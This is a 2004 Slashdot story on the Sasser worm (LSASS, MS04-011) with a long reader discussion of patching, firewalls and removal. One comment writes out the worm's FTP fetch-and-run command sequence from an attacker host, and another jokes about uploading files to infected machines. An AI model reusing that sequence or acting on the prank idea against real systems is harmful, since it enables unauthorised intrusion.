New Windows Worm on the Loose

Dynamoo writes "The Internet Storm Center has issued a Yellow Alert due to the spread of the Sasser worm exploiting Windows 2000 and XP machines through a documented flaw in the Local Security Authority Subsystem Service (LSASS) as described in Microsoft Bulletin MS04-011. Initial analysis seems to indicate classic Blaster-style worm behaviour. Right now I'm just getting a probe every 10 minutes or so on my firewall, but this is bound to escalate sharply as the pool of infected machines grows. Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you? More information at Computer Associates, F-Secure, Symantec and McAfee."

Comments

ah...

[Anonymous Coward]

the luxury of being behind a nat box with all ports off and not having to deal with such nonsense

Re:ah...

[Interruach]

ahh, the luxury of the first box after the NAT being a linux proxy server that serves my entire internal network.

-- I see your nat box and raise you a proxy server.

Re:ah...

[Anonymous Coward]

the luxury of being behind a nat box with all ports off and not having to deal with such nonsense

Yeah... till your buddy comes over to play Counterstrike and plugs into your hub infecting your machine.

Re:ah...

[Lord Kano]

Pussies! I'm whistling into a telephone receiver.

LK

Re:ah...

[JPriest]

1990, the year someone said it was a bad idea to have default services in listening state.
1999, the year MS forgot was was said back in 90.
2003, the year of Microsofts new security initiative.
2004, the year of the Windows worms.
XP SP2, the patch for mentioned "listening state" error.

Re:ah...

[kasperd]

I see your nat box and raise you a proxy server.

Ha. I have a linux laptop behind a linux iptables NAT box behind another linux iptables NAT box. The NAT boxes are running two different distributions. Beat that if you can.

Re:ah...

[jazman_777]

-- I see your nat box and raise you a proxy server.

You are lucky. I have to use a box of gravel for a firewall.

Re:ah...

[Vancorps]

I feel sorry for you if you want to use IPSec

Re:ah...

[JDWTopGuy]

Pfft! I have a 90MHz pentium box that's a gateway/firewall, proxy with squid, caching DNS with BIND, distributed.net personal proxy, windows filesharing server with samba, LAN web server (not firewalled, I'd post a link but I have a feeling it'd go boom), and it only has 32MB of RAM!

Boy, am I lame!

Re:ah...

[Sj0]

You sure are!!

You could be doing SO much more with that much machine -- I mean....It's a PENTIUM 90!! Don't you realize how much power you have right there? It's insanity!

Re:ah...

[isorox]

Pah! I'm running IP over Avian Carrier!

My firewall is literally a burning wall, DDOS me and I get a large dinner

Re:ah...

[Sj0]

I just got hit with wone of these lsass viruses a few weeks ago.

Completely patched.

My stupidity was DMZing my firewall. Stupid, STUPID.

Freinds don't let freinds open their firewalls. Not even to play video games, no matter how many processes they have deactivated.

I think the tragedy here is that most "regular power users" (ie. the folks who think that they're big shit because they can install antivirus software and change their windows desktop) probably don't realize that it's entirely possible to have a completely patched windows machine that can still get infected by a virus if you plug it right into the internet. I honestly think these things are reaching a critical mass. It'll be interesting to see exactly how that manifests.

Re:ah...

[Master of Transhuman]

2003, the year of Microsofts new security initiative.

Ah, actually, Microsoft tried a "new security initiative" back in 2001 as well, IIRC.

The 2003 one is the SECOND "new security initiative" - and seems to be shaping up as effective as the first, that is, nada, zip, zilch, useless, meaningless marketing bullshit.

Nice timeline you had there, though, really shows the Microsoft competence in perspective.

Re:ah...

[ichandarin]

Ha! I'm writing this on my mechanical typewriter that has been broken since 1988!

Re:ah...

[Master of Transhuman]

I have DOS - which doesn't listen to anything unless you tell it to.

Beat that.

(Well, I'm fibbing, I actually run Windows 2000, Windows XP and Red Hat 7.3. But I remember when I used to tell clients at BOFA that modem security was not an issue with DOS since if you weren't running XTalk or something, DOS could care less if the modem was on. Of course, this meant porn took a lot longer to download...)

Re:ah...

[zcat_NZ]

On the other hand, remind me again what year Redhat decided it wasn't a good idea to install telnet, sendmail, pop3, imap, and a hot of other services _open to the world_ by default? I'm fairly sure they were still doing it in 1999 and a little after 2000.

Re:ah...

[hawkbug]

And thank you for your lazy attitude - you're the reason spammers can control broadband connected zombie boxes to fill my inbox with massive amounts of shit.

Re:ah...

[malarkey]

Be careful, you are susceptible to virii too!!!

Re:ah...

[Molina the Bofh]

The problem is not being open to the world.

For starters, sendmail and wu-ftpd should have been banned from Earth a long time ago. They have more holes than swiss cheese. Telnetd should already have been deprecated by ssh, and should not be installed at all.

Re:ah...

[kasperd]

my vpn server uses one TCP port nya nya.

VPN over TCP will give you performance problems. In fact any tunnel device over TCP will give you performance problems. It is the two instances of TCP in the protocol stack that is responsible for most of the problems. Any VPN system built on TCP is broken, it should be build on UDP.

I Use X Windows

[craXORjack]

Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

What is this 'Windows Update' of which you speak?

Re:I Use X Windows

[temojen]

I believe it's a cludgey microsoft variant of

"emerge sync; emerge -uD --fetchonly world; emerge -uD world; etc-update"

except that it requires you to reboot several times and repeatedly interact with it.

Re:I Use X Windows

[squall14716]

Actually, I use:

emerge -uD world

;)

Re:I Use X Windows

[Anonymous Coward]

Anyone coin a "Godwin's Law for Genoo Zealots" yet?

Re:I Use X Windows

[squall14716]

Hey! I'm not a zealot, I just have this much time on my hands.

Re:I Use X Windows

[bamf]

You've probably already installed it, just look for KB835732 in your list of installed updates.

Re:I Use X Windows

[temojen]

But you can't use your computer while it's going either.

Re:I Use X Windows

[squall14716]

It's called X Window System, not X Windows. Calling someone an MS fanboy because they point this out is uncalled for. Speaking of which... there are MS fanboys? Are these people out of their minds?

Re:I Use X Windows

[gnu-generation-one]

"What is this 'Windows Update' of which you speak?"

Full text, in case of slashdotting:

" Thank you for your interest in Windows Update

Windows Update is the online extension of Windows that helps you get the most out of your computer.

You must be running a Microsoft Windows operating system in order to use Windows Update."

Re:I Use X Windows

[pantherace]

That's fine for ONE computer, possibly even easier. (That's debatable, very debatable.) However, it only updates the OS & 1 office suite. If you would be so kind as to tell me about something that allows you to install applications to multiple computers from one on windows that doesn't cost a relatively large amount, such as Norton Ghost (which still requires a fairly complicated install, but fortunately only on one machine)?

SUS again updates only the OS + Office suite, so that doesn't cut it.

I would certainly prefer to wait a few hours for a test machine to compile a package and then be able to deploy it (binary) to all the machines after testing. It's all in the choice of design, Windows is still at heart a single user operating system, Linux, Unix, BSD, etc are all multi-user operating systems, and it is reflected in installs.

Re:I Use X Windows

[SpectreGadget]

oh yes:

"emerge sync; emerge -uD --fetchonly world; emerge -uD world; etc-update"

isn't kludgy in the least and very intuitive. I prefer "apt-get dist-upgrade" myself.

Re:I Use X Windows

[GweeDo]

Someone here obviously isn't using the 2.6 kernel tree with the happy new scheduler and timer. I can be happily compiling openoffice and still watch dvd's, play music, browse the web...anything else?

Re:I Use X Windows

[Anonymous Coward]

You must be running a Microsoft Windows operating system in order to use Windows Update.

Those monopolistic bastards.

Re:I Use X Windows

[reallocate]

I've never had Windows Update break a machine.

All that "emerge" stuff breaks Gentoo, sooner or later, every time I've tried it.

Re:I Use X Windows

[brunson]

It's kinda like:

yum --ask-lots-of-useless-questions=yes \
--reboot-for-no-apparent-reason=alot \
--resolve-dependencies-without-my-help=no \
update

Re:I Use X Windows

[Anonymous Coward]

I've been there and done that. Get with the times, BSD has had this for *ages*.

Windows - Where do you want to go today?
Linux - Where do you want to go tomorrow?
BSD - Are you guys coming or what? ;)

Re:I Use X Windows

[Anonymous Coward]

It updates windows. But you don't have to worry, I've just updated your machine for you.

Re:I Use X Windows

[bkhl]

No, you're not:

"The X Consortium requests that the following names be used when referring to this software:

X
X Window System
X Version 11
X Window System, Version 11
X11

X Window System is a trademark of X Consortium, Inc. "

Re:I Use X Windows

[Suidae]

Ha, you all suck, I just tell my network admin to update everything so I can get on with the drinking beer and watching porn.

Re:I Use X Windows

[reallocate]

Well, as they say, YMMV.

I don't use a Windows machine from the adminstrator account. When I need to run Update, I switch over and do it as the administrator. I read before I install, and I don't install nonapplicable updates. I don't trust anyone's automagic updaters.

When I've used Gentoo, it's been as a desktop machine. I've installed it 3, maybe 4, times, always building from the minimal install (the one that takes a day and a night, and most of the second day...). I don't much about and I don't install "foreign" software. Every time I've used Gentoo, it goes belly up after I've installed some update or another.

Gentoo may have an excellent packaging system, but I don't have time or energy or purpose to become an expert on one more proprietary packaging and updating scheme.

Linux touts "choice" all the time, and rightly so. But the fact is that having a plethora of distribution-specific packaging schemes is a major pain that limits choice.

So long as the Linux community fails to agree to, implement, and use a single packaging and updating scheme, Linux will be a nonstarter outside the geek and corporate worlds.

Re:I Use X Windows

[pantherace]

My point was not that NT was not technically a multi-user system (depending on definitions), but was that everyone seems to still consider it one at heart, and act as if it is.

Could you point some of these programs out? I have searched for them, and honestly can't find them.

And I don't disagree about Norton being overpriced.

Re:I Use X Windows

[GbrDead]

you could make a shell script that does it all for you that is set UID root
No, you can't. Linux ignores the suid flag on scripts.

Re:I Use X Windows

[sharkey]

Too bad I'm too busy drinking beer and watching porn to attend to your request.

Mutex Trapping

[Mr. Darl McBride]

About the first thing any Windows program does is to attempt to acquire a mutex to see if the program is already running. In the case of this worm, that's "Jobaka3l." If that exists, the worm dies off without running.

Mutexes are named consistently enough under Windows that I wish somebody would make a program that simply caught all attempts at gaining a mutex and popped up a dialog window if the mutex hadn't been seen before. This would stop most any new software from running without first checking with the user. This is no good for a server of course, but ideal for a workstation.

This would also be great for catching spyware crap installs, as well as things like the RealPlayer toolbar that keeps popping up adverts by default. Simply tell the mutex checker to decline the requested mutex from then on and it would have the mutex always fail from then on -- then those programs could never be run again.

Re:Mutex Trapping

[Mr. Darl McBride]

For that matter, how hard would it be to restrict which programs are allowed to create files with runnable extensions without prompting?

Why can't we have something that protects the registry and pops up whenever something wants to go into software/microsoft/windows/run, /runonce, runonceex, etc? 3/4 of the stuff that goes in there, I end up ripping out later. It's dumb that it's so easy for programs to install things there.

Re:Mutex Trapping

[The Raven]

Toolbars and similar items would not be prevented by blocking mutex's as far as I know, because they don't create one. They run under the IE process.

However, for most other types of spyware I completely agree, that would be an excellent idea for screening running processes.

Re:Mutex Trapping

[Joe U]

Interesting concept, but many programs use lots of mutexes, and some don't use them at all.

Imagine running something complex like a database server. Dialog box fun.

The virus writers will just use something else, like a file, if people tracked by mutex.

Re:Mutex Trapping

[Anonymous Coward]

You can set permissions in the registry per key.

Make it impossible to write to HKLM/software/microsoft/windows/currentversion/run

Re:Mutex Trapping

[SchnauzerGuy]

Creating a mutex at startup is by no means universal, and in fact, I doubt that very common at all.

If there was a mutex checker/blocker program developed, you would just see worm authors switch to a different method of determining if their worm was already running, or randomize the mutex name.

Re:Mutex Trapping

[eyeye]

Many modern firewalls allready flag up applications running and allow you to block them.

They dont rely on mutexes either.

Re:Mutex Trapping

[stef0x77]

Use regedt32.exe (which is an older incarnation of regedit), go to the key in question, choose Security | Permissions ... from the menu etc...

Re:Mutex Trapping

[kyhwana]

Err, Startup Monitor does just that.
Well, it doesn't protect the registry, but it does pop up a dialog box whenever something tries to add itself to those registry entries..

Re:Mutex Trapping

[cscx]

Run "regedit", then right click any key, and select "Permissions" -- you get a standard NTFS permissions box to fiddle with at your leisure.

Note this only works on NT-based systems (e.g., WinXP)

Re:Mutex Trapping

[Verteiron]

It exists already. There are several, some free, some not, but the most useful (and free!) one I've found so far is the brand-new Spybot TeaTimer. It's available with the newest release candidate. You can download that here (link at the bottom of the forum post). Just run Spybot SD, do the immunization and such, run the scan, then switch it to Advanced mode and activate the "resident protection". Bingo. Nothing will ever write itself into your startup, or install a BHO, or toolbar, or change your homepage, without your knowledge and permission. Bear in mind it's a release candidate and there may be bugs; I know the Teatimer sometimes shuts off when you run the main Spybot program, and you have to go activate it again. Other than that it seems to work like a charm.

Re:Mutex Trapping

[Mr. Darl McBride]

Worms and spyware will simply use a home-made mutex system if we start to block the windows one.

In general, the idea of catching windows library calls is worthless, unless the library call is absolutely necessary to the worm and the functionality cannot be done in any other way (which is not the case in Mr. Darl McBride's example).

Of course. They're going to work around any countermeasure if it goes into popular use. Once upon a time, all programs were allowed to write to the entire filesystem. Remember bootsector viruses? They finally reworked the filesystem and device layer so that user code couldn't touch that area anymore, and those kinds of infections went away. Remember Word macro viruses? New versions of Office warn you about macros that want to run on opening a doc, and those are rapidly vanishing as well.

Similarly, short of reworking the way programs are installed and authorized, nothing is going to work as the long-term solution. That's why Longhorn and the .NET execution framework thange these things exactly.

The mutex check is merely one option which doesn't seem to be in wide-spread use yet. I'm sure there are many others, and yes -- any of them would eventually get worked around for new viruses and trojans.

Re:Mutex Trapping

[chachob]

WinPatrol does this as well, along with protecting/watching many other aspects of the system for potentially unwanted changes.

Re:Mutex Trapping

[Foolhardy]

You can also enable auditing that will record attempts to access keys you want to watch in the same dialog (see Advanced->Auditing). But first, you have to enable the auditing policy: in the control panel, go to Administrative Tools->Local Security Policy. Then Local Policies->Audit Policy. Registry keys are considered objects.
Access attempts will show up in the event viewer.
Note:use regedt32.exe for Win2000 or eariler. For later versions, regedit.exe does everything (under Edit->Permissions).

Huh?

[grub]

A new worm?

May 01 07:59:49.306654 rule 0/0(match): block in on dc0: xx.xx.xx.xx:xxxx > yy.yy.yy.yy:yyyy: S 2881286568:2881286568(0) win 32640 (DF)

Oh, there it is.

Removal Instructions

[modifried]

For anyone already infected, Microsoft has manual removal instructions for the worm, located here:

http://www.microsoft.com/security/incident/sasser. asp

Re:Removal Instructions

[hound3000]

For anyone already infected, Microsoft has manual removal instructions for the worm, located here: http://www.microsoft.com/security/incident/sasser. asp

Looks like they just cut and pasted that page. Found in source code html...

<TITLE>What You Should Know About the Blaster Worm and Its Variants</TITLE>
<META NAME="Description" CONTENT="The W32.Blaster.Worm and its variants exploits a security issue that was addressed by Microsoft Security Bulletin MS03-026. This worm also has the potential to exploit a similar issue that is addressed by Microsoft Security Bulletin MS03-039. Learn how you can protect yourself from this worm."/>

Re:Removal Instructions

[blincoln]

Looks like they just cut and pasted that page.

Do you create all your HTML documents from scratch?

This worm release is pretty cool, I think. This is the first time I've got to see the patch deployment process I built with a couple of other people from my group send out patches to the entire company and get pretty much everybody taken care of before the worm was released. We built it from SMS SUS and a bunch of in-house components. 11,000 workstations across the country patched in less than a week, and we could have done it even faster in an emergency.

Regular SUS took care of our servers a week ago.

ah Nice, more work =)

[Quazion]

Atleast for me as the local consumer support guy.

Thanks Microsoft.

Re:ah Nice, more work =)

[w9wi]

Yeah, thanks a whole lot...

We had a lot of grief with this one last night. (I'm going to be rich next Friday, after seven hours of overtime. I'd rather have had seven hours of sleep.)

It seems to have some effects not attributed to Blaster - it appears to have flooded some of our own machines. (we're not windowsupdate.com!) For example, causing two SQL servers to reboot spontaneously at random intervals until we cut our connection to corporate HQ.

We then got to spend several hours trying to figure out how to get a couple of mission-critical applications working when they connect to outside vendors on "strange" ports - and corporate has decided to cut off any ports they're not familiar with. Thank God for saving obsolete satellite receivers and a few hundred feet of RS-232 cable.

A problem we had was proprietary applications whose vendors haven't qualified the patches.
-----
As for home users not patching...

It's easy to belittle those who don't keep their systems patched to the latest revision. IIRC the appropriate patches for this one run to roughly 10MB. For dialup users, that's the better part of an hour of downloading. Often, tying up one's only phone for that period.

IMHO there are some fundamental structural issues in Windows. At least, it should NEVER be possible for software to be installed on a system without the user's consent. It should NEVER be possible to add items to the startup sequence without the user's consent. Sure, fixing that won't stop worms (there are plenty of users who say "Yes" to anything...) but it'd sure help.

HAHA

[D-Cypell]

A smile crept across my face after reading this story and then noticing a microsoft ad underneath informing the reader that Windows Server cost of ownership is lower than Linux cost of ownership!

The add server must be based on Microsoft's new Irony.NET framework!

Re:HAHA

[yulek]

A smile crept across my face after reading this story and then noticing a microsoft ad underneath informing the reader that Windows Server cost of ownership is lower than Linux cost of ownership!

i realize you were mostly joking, but the fact is windows server cost of ownership IS lower because you don't need a smart person to run it. and since current viruses are not true malware, the fact that the machine is infected doesn't even matter to the cheap contractor admin "running" the box. as someone mentioned in another story's comment, it's time to make some REAL malware and wake these ijits up.

Re:HAHA

[Lothsahn]

Actually, current viruses are real malware, especially the ones that try to shut down virus scanners.

They cause the computer to run really slow, and screw things up, including networking settings, killing IE, destroy the cryptography service, so that you can't get updates, and the ability to repair the TCP/IP layer.

When you get multiple viruses on a machine, they can cause it to not even startup--Especially the ones that try to shut down virus scanners (Gaobot).

I know they're not malware in the sense that they format your HD or anything, but when your server runs at 10% of it's normal speed, that's enough to take down almost any operation.

Re:HAHA

[Anonymous Coward]

but the fact is windows server cost of ownership IS lower because you don't need a smart person to run it.

And that, your honour, concludes my evidence showing why the Internet is such an insecure mess.

Blaster-style? Uh-oh.

[squall14716]

Since most users don't have a firewall and don't use Windows Update, I wonder how many machines will be infected by Monday? Seriously now, it's getting old now. Good thing I'm using Linux now.

Re:Blaster-style? Uh-oh.

[FractusMan]

From the call volume here at work (an ISP), I'd say a LOT. We went from 0 to a couple hundred in queue in an hour. That was last night. Today, it's still as strong.

Visit Windows Update?

[Anonymous Coward]

No need, I receive all the Windows critical updates by email. I don't know how I got subscribed to that mailing list, but it's damn convenient.

Dang...

[kennylives]

I have a Mac, you insensitive clod...

Re:Dang...

[skinfitz]

Well look on the bright side - worms and viruses are the only things that you have less of than games.

Security Update Dates

[TheUnFounded]

You know, normally these updates are available a good 3 or 4 months before the worm becomes available. This one was updated about 3 days ago. And MS claims to be beefing up their security efforts. ...

Re:Security Update Dates

[Unknown Relic]

Is that reduced timeline maybe an example of what this /. article from a couple months ago was talking about? Essentially it stated that a lot of the new worms are actually being caused by the reverse engineering of patches to easily find exploits. Some machines will of course be patched, but as we all know, a huge number of machines will remain unpatched and vulnerable for months to come. If this is the case, Microsoft can hardly be faulted for getting the patch out only a few days before the exploit, since it's the patch itself that potentially prompted its creation. The really interesting thing is that if this is the case and Microsoft is actually increasing their security efforts and releasing more patches, we could actually see more worms released targetting unpatched systems. For them, this really isn't a good situation to be in - the more they do correct problems with their operating systems, the more exploits hit the unpatched machines, making it look like their enhanced focus on security is a joke.

Re:Security Update Dates

[insecuritiez]

Came out the 13th if I recall correctly. 17 Days is still a really fast turn around though.

Re:Security Update Dates

[mrneutron]

Sasser was released 18 days after Microsoft released the patch. For comparison, Blaster was 32 days after the patch and Witty was 1 day(!).

Re:Security Update Dates

[Knightmare]

Writing the virus itself, or the glue if you will, isn't the hard part. It's getting the exploit right so it will work on all SP levels and across multiple platforms (XP, 2K, etc...) The universal exploit code was made public either late night on the 28th or sometime early on the 29th.

So the turnaround time on wrapping that public exploit code into this worm was far from 18 days.

YA Windows-only software title

[Anonymous Coward]

In light of this, would someone please explain why I would ever want a Mac? None of the really good viruses or worms are ever ported to it, no matter how successful they are!

Where's Panda?

[RazorX90]

More information at Computer Associates, F-Secure, Symantec and McAfee.

Where's Panda in that list? Personally I prefer Panda over those.

Loose not lose

[Brian Dennehy]

I'm impressed that they got the headline right!

Same old, same old....

[gnuman99]

Same old news about another worm. Nothing to see here, move along.

Seriously, hasn't MS learnt anything about the Internet yet? Why do they keep insisting to keep all of these ports open all the time? Why so many services running out of the box? Why can't people even close some of the listening ports?

If MS was any serious about security, they would have all ports closed be default. Or at least have a possiblity to closing them down during install.

Re:Same old, same old....

[Anonymous Coward]

When the first serious Windows worm striked,

- users could have asked for their money back,
- companies could have switched away from Windows en masse,
- government could have banned using Windows in their offices,
- there could have been a class-action lawsuit for gross negligence.

To Microsoft's surprise and delight, none of this happened. That's why we're seeing a 379th worm today.

How it works

[mrneutron]

It infects a 2000 or XP box via the LSASS (MS04-011) exploit, and opens a shell on port 9996.

It then connects to that shell, and executes the following commands (cleaned up to get past slasdot's junk filter):

open XXX.XXX.XXX.XXX 5554

anonymous

user

bin

get XXXXX_up.exe

bye

XXXXX_up.exe

If successful, those commands ftp to the attacking host, port 5554, and download the actual worm payload. That payload is executed, and the host is fully infected. It then opens an FTP port on port 5554, and begins scanning for vulnerable hosts. Here's the scanning logic, from symantec:

The IP addresses generated by the worm are distributed as follows:

50% are completely random

25% have the same first octet as the IP

address of the infected host

25% have the same first and second octet as the IP address of the infected host.

The worm starts 128 threads that scan randomly-chosen IP addresses. This demands a lot of CPU time and as a result an infected computer may be so slow as to be barely useable.

See:

• http://securityresponse.symantec.com/avcenter/ve nc/data/w32.sasser.worm.html

Dammit...

[Saint Aardvark]

I want a tarpit option for FreeBSD's ipfw, the same way there is for Linux. It'd be nice to do something to slow this thing down...not that it's easy to tell this worm apart from everything else cluttering up my firewall logs.

Re:Dammit...

[Nonesuch]

want a tarpit option for FreeBSD's ipfw, the same way there is for Linux. It'd be nice to do something to slow this thing down...

LaBrea runs on FreeBSD too.

I use the "redirect" feature of the packet filter to do the equivalent of proxy transparency on ports 135,139,445,4444,9996 to local ports with a local listener.

The Sasser worm starts 128 scanning threads to pseuod-random destinations, and on a fast machine can really pump out the packets. If you give it something to talk to on ports 445 and 9996, that considerably slows the scanning behavior.

This close to removing win2k...

[brendanoconnor]

Currently I'm running win2k on my main desktop fully patched, so this little problem doesn't really hurt me per say. With all the patches in place, my computer does some of the following things.

1) IE won't work (joking aside it just doesn't work at all). This happened a long time ago, so I switched to mozilla. I thanks ms for this cause moz. owns.

2) Add/Remove programs, I can no longer see the text to describe the program install. It's all grey. An icon shows, so I can uninstall that way. Its not the colo scheme either, I tried MS default and it still didn't work.

3) I was having problems with this latest worm, but patching fixed everything, so now we wait to see what broke.

All and all I'm getting extremely close to wiping the HDD, and dual booting Slackware Linux (which has been on my laptop for over a year and I love it) and win98se for games. All the backups are current, and I'm waiting for the next problem to make the system more unsuable. If I wasn't so damn lazy, this would of been done sooner.

Brendan

Help the poor bastards

[nazsco]

The worm seems to install a ftp server on infected machines. So, wouldn't it be nice to have every box that detects a connection on port 554, reply with an upload of a new wallpaper to the infected windows box with some message like "install a firewall, moron"

I consider it a public service. Maybe you can even deduct the bandwith for the upload from you tax.

Re:Why use windows update?

[kyhwana]

The patches were released on the 13th of April, there were four patches, of which, put togeather, they patch 20 different vunerabilities.

Days like this...

[C0rinthian]

I REALLY hate working dial-up tech support.
(ring)
sigh....

Unoptimized algoritm...

[Henk Poley]

Don't these worm writers learn anything?

some important points

[R_V_Winkle]

In addition to TCP 1025, the following ports are vulnerable to the LSASS exploit: TCP 135, 139, 445, and 593. UDP 135, 137, 138, and 445.

Sasser generates traffic on TCP ports 445, 5554 and 9996.

The patch for the vulnerability (MS04-011) can be installed through Windows Update or located at the following URL:

http://www.microsoft.com/technet/security/bullet in /MS04-011.mspx

Bad Link...Here's the Correct One

[Sangloth]

This link should work for the symantec description of Sasser. Sangloth I'd appreciate any comment with a logical basis...it doesn't even have to agree with me.

Windows update freaking out!

[nazsco]

after reading this on the /. front page, i runned the windows update, that i don't visit for more than a year...

and after some time, a windows pops up with the text:
"The software you are instaling has not passed the Windows Logo testing to verify its compatibility with Windows XP. bla bla bla"
"This software will *not be instaled*. Contact your system administrator."

Ok, so i contact myself, and wonders what the hell?!?

I just give M$ a lot of information about the operating system that i'm running... they wrote the frign thing, and even so, they don't know what will run in it, or what will pass their own crap compatibility verification!

but well, that's it... i just click "OK" --the only button-- and see the same windows appears 3 times more... and blissfuly keep my ignorance of what's going on with the instalation.

Re:Windows update freaking out!

[NuclearDog]

That always annoyed the hell out of me.

"That action can not be performed. Please contact your system administrator."

I always felt like and idiot talking to myself...

Re:Windows update freaking out!

[Jarnis]

Your own fault disabling the Crypto service. Without it the winupdate cannot verify the signatures. Those stupid 'xp optimization guides' commonly tell you that disabling it is a good idea...

You must be an american

[empaler]

Only consumer whores and other types of idiots choose to toss out the computer instead of just wiping the hard drive and installing something else.

That's funny.

[LordK3nn3th]

Speaking of worms, how easily could worms spread if it were Linux that was popular and not windows?

I know linux is more secure, especially because of the multi-user system where root is only used for special reasons, and that many windows programs are integrated in the OS (IE, Outlook...), but how feasible WOULD it be to make worms for Linux? I really don't know. I do use Linux, and I love it. I only boot into windows for certain things such as Battlefield 1942...

Re:That's funny.

[logical1010]

Speaking of worms, how easily could worms spread if it were Linux that was popular and not windows?

If Linux is now viable on the desktop as some think, (and I'm not gonna get into that right now) will it be used as securely by the computer illiterate that currently use windows? I think that people who don't have a clue will unintentionally employ improper security regardless of the capabilities of the technology. The OS, although a big part of the picture is only a part. How many regular windows folk know how to configure a hardware firewall/router properly? I know mine came with poorly chosen settings.

I guess what I'm saying is that if Linux was more popular than windows the average IQ would be quite a few digits higher, /. would be the most popular website, and chess would be a major sporting event. I believe it is the level of intelligence/competency of the user not the software that mostly affects the success of attacks like these.

Well done, submitter!

[6Yankee]

How refreshing. A Slashdot article about a worm exploiting Windows, without the usual childish jibes. Or FUD. Or spelling mistakes. Well done, Dynamoo!

Of course, then came the comments... :-)

I was wondering...

[lazy_arabica]

... if we replaced the posts of this thread with the messages posted after a previous worm-announcement, would anyone notice ? :)

Linux_Zealot says : 5 Insightful - I am using Linux now !
M$_wizard : 5 Interesting - Worms always appear after a security notice from Microsoft Knowledge Base ; so, openness is bad !
security_Teacher : 5 Insightful - Of course, no one should run anything as root but cricital administration tasks, and a firewall is essential.
n00b : -1 Troll - Windows Sucks !!!

Well... That's just a little... repetitive ;-)

Re:I was wondering...

[kasperd]

a firewall is essential.

It sure is. The last worm wouldn't have worked without one.

Could you try to find out?

[empaler]

After I changed email address, I couldn't figure out where I'd subscribed to that newsletter, either... I'd really like it back...

Re:Oh the irony

[NuclearDog]

Why weren't you running a firewall?

I usually set people up with the free version of ZoneAlarm. It stops most of these worms. Several people I know don't have this patch yet, but ZoneAlarm stopped the worm.

Also, my gaming machine (my only one running windows) was fine because it was behind a linux firewall/router :)

Windows XP SP1 Fixed This!

[Dave419]

Everyone knows not to use windows products until after at least 1 service pack, this is an old problem that was fixed with service pack 1. I hope no one on /. is affected by this, because even if you miss most updates, the service packs are the important ones. I run Windows XP Pro at home so this post raised my concern at first, but if anyone actually read the Microsoft security bulletin, you would all know this. Before I get flamed for running Windows, that box mostly just runs games, though sometimes I have it running distccKNOPPIX to help cross-compile for my Gentoo Box, its time to rebuild again now that 2004.1 came out!!!!

Re:Windows XP SP1 Fixed This!

[blincoln]

Everyone knows not to use windows products until after at least 1 service pack, this is an old problem that was fixed with service pack 1.

Uh... what?

Buffer overflow in certain Active Directory service functions in LSASRV.DLL of the Local Security Authority Subsystem Service (LSASS) in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code by causing long debug entries to be generated for the DCPROMO.LOG log file. (emphasis mine)

Working at PC Club

[donkeyoverlord]

This is like a freaking death sentence considering everyone in town thinks that this is there own free computer tech support hot line.

Re:Oh the irony

[BillLeeLee]

I had stopped ZA from starting up by default for the past few days, but I enabled it which allowed me to grab that one patch.

The worm can be removed with McAfee's stinger tool (the Mcafee link has a link to it).

Systems all clear.

This totally sucks.

[mark-t]

I was never in any danger of being infected by this worm, but about 3 days ago, I noticed I was getting almost a steady stream of traffic on my lan when nobody was using any computers... A quick check with ethereal showed that it was all port 445 stuff, and I was getting as many as 10 packets every second coming from various IP addresses.

So for the past few days, I've had to live with part of my bandwidth getting chewed up by incoming packets that don't actually do anything but take up space. It effectively slowed the speed of downloads by about half. The rate of packets is starting to slow down now... finally (I guess as people patch their systems), but it still was highly annoying.

Anyways, I called my ISP when I first noticed it 3 days ago (after checking it with ethereal), and asked if they could help. They told me that this was caused by filesharing programs, which I knew wasn't the case becuase in fact the only port 445 stuff I've done is windows filesharing, and I've secured the one and only Windows system on my LAN against IP addresses other than other ones on my LAN from being able to access them. Needless to say, this answer did not impress me. Here I was, effectively being subjected to a DoS attack, and they are trying to tell me this is _my_ fault? Man, if I had any other choice for high speed internet, I'd be switching in a heartbeat.

Anyways, that's my story. Things like this totally bite because you can have a firewall and all the security precautions in the world, but worms like this still chew up your bandwidth.

I use the best anti virus on the market!

[rspress]

I use the best anti virus on the market! It is called a Mac! Actually I have both a Mac and a WindowsXP Pro box with a router and firewall. Just to keep things clean my windows machine is NEVER used for checking mail. All mail is handled through the Mac. If I have a need to send mail via the PC or need to check it from the PC for some reason then Eudora Pro is used. The Outlook variants are the biggest viri available for the PC....with explorer coming in a close second.

Outside the firewall...

[BJZQ8]

I pity my educational counterparts in other districts...one in particular has probably a dozen Win2K/W2K3 machines sitting outside the firewall...no protection whatsoever. No, they do not do regular updates...just when something breaks. Oh well, they'll just hire their friendly neighborhood MCSE consultants to come in at $150 an hour to "sell them some protection." It seems like it's always firefighting with Windows anymore...And no, I do NOT run Windows on any server in my district...

Re:Outside the firewall...

[ProudClod]

Preach brother.

At our school, although we are unfortunately a 99% m$ shop, we run all our stuff through a p166 running linux as a gateway. We actually have a cisco 2600 provided by the council, but as they refuse to give us admin access to it, we bypassed it.

Now, at the time of blaster we were absolutely fine. No infections. Yet the idiots in many other schools managed to saturate our shared net connection (fibre!) for 2 solid weeks!

So rather than chucking that old p166, use it for something useful. Don't trust Mr. Cisco provided by the council to work just fine protecting your 2K server - do it yourself.

windows users never fail to amaze me.

[Anonymous Coward]

most of these problems they have (certain virii, spyware adware) could be alleviated and less of a threat simply by running limited user accounts instead of running as an "admin" all the time.

tested this in my home network (the other half has to have windows) her rights are set by a samba acting as a PDC(i was bored), but basically boils down to a simple matter of her account is considered a "limited account" to her local XP machine...if something needs to be installed or needs admin rights she can explicitly tell it to by using the run as...

i've went from cleaning 50+ items / week off that machine to maybe 3-4 and those are simply cookies being reported as "spyware".

Re:windows users never fail to amaze me.

[Nevo]

Actually, this particular attack cannot be mitigated by running as admin.

It attacks a genuine hole in the operating system and is not dependent on anyone even being logged on to the machine at all. It 'hijacks' the LSASS process, wich runs in the SYSTEM context. The operating system could not run if LSASS wasn't running as SYSTEM.

Of course, the patch has been available for >2 weeks now, so all of this *should* be moot.

If you wonder what a virus is :

[chrysalis]

Here is an introduction to virus for non-windows users.

I got it today!

[thegsusfreek]

Wow. I just got that virus this morning (and I'm on a dial-up modem!!!). I had no idea what was going on, but I figured it was a virus. I saw a new program in the "Tasks" window, so I closed the window, found and deleted the file, and destroyed the Registery Key that it had made for reference in MSCONFIG.EXE. That was all there was to it! I'm glad that the creator of the virus was either a dork or a "nice" virus creator and made the virus very easy to get rid of.

